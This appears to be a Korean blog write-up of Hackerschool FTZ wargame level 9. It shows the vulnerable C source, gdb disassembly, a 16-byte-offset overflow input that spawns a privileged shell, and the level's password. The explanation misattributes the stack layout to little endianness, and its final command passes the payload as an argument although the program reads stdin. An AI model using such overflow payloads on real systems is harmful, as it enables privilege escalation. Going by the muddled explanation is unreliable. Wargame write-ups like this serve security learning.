thumbnail
cd ..
root@blog:~/posts/ 202209

해커스쿨 FTZ 레벨 9

#KOR#pwn
2022.09.29.

0. 들어가기 전에

레벨 9 이후부터는 본격적으로 해킹 공격 기법에 관한 문제들이 나온다!

1. level 9

드디어 첫(!) BOF…라고하기엔 너무 간단하지만, BOF문제다! cat hint를 실행하면 실행파일 소스 코드가 나온다. 일단 코드를 살펴보자.

또한 이 파일은 Level 10의 권한을 가지고 있다.

main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }

}

buf2[10]과 buf[10]이라는 배열이 있는데, buf배열을 밑에 fgets함수에서 40개를 받는다. 즉 오버플로우가 가능하단 소리다. buf2배열의 첫 두문자가 “go”인 경우에 password를 준다고 하니, 정확히 buf2와 buf 배열의 거리가 얼마나 되나를 살펴봐야한다.

실행권한은 없으니 복사해서 test.c를 만든다음 실행파일로 만들어서 한번 gdb로 디버깅해보자. gdb는 리눅스의 어셈블리 디버거로, 활용하기 위해서 약간의 공부는 필요할 수 있다.

일단 set disassembly-flavor intel을 콘솔창에 입력하자.

disassemble (함수이름)을 하면 저 main함수가 시작될 때의 전체적인 어셈블리 코드를 확인해 볼 수 있다.

0x08048420 <main+0>:    push   ebp
0x08048421 <main+1>:    mov    ebp,esp
0x08048423 <main+3>:    sub    esp,0x28
0x08048426 <main+6>:    and    esp,0xfffffff0
0x08048429 <main+9>:    mov    eax,0x0
0x0804842e <main+14>:   sub    esp,eax
0x08048430 <main+16>:   sub    esp,0xc
0x08048433 <main+19>:   push   0x8048554
0x08048438 <main+24>:   call   0x8048350 <printf>
0x0804843d <main+29>:   add    esp,0x10
0x08048440 <main+32>:   sub    esp,0x4
0x08048443 <main+35>:   push   ds:0x8049698
0x08048449 <main+41>:   push   0x28
0x0804844b <main+43>:   lea    eax,[ebp-40]
0x0804844e <main+46>:   push   eax
0x0804844f <main+47>:   call   0x8048320 <fgets>
0x08048454 <main+52>:   add    esp,0x10
0x08048457 <main+55>:   sub    esp,0x4
0x0804845a <main+58>:   push   0x2
0x0804845c <main+60>:   push   0x8048569
0x08048461 <main+65>:   lea    eax,[ebp-24]
0x08048464 <main+68>:   push   eax

대충 보면, lea가 배열 생성과 관련되어있다는걸 알 수있다. Linux 같은경우는 little Endian을 사용하므로, 거꾸로 올라간다. 따라서 밑에 있는게 buf배열 위에 있는게 buf2배열이라고 유추할 수 있다.

둘의 차는 40- 24이므로 둘의 거리는 16이 된다. (원래는 10이어야하지만, 더미데이터 등의 이유로 6바이트가 추가된듯 하다.)

quit로종료하고, 16개의 문자열 + go를 입력한다.

./attackme AAAAAAAAAAAAAAAAgo

비밀번호 : interesting to hack!


Source

[ comments ]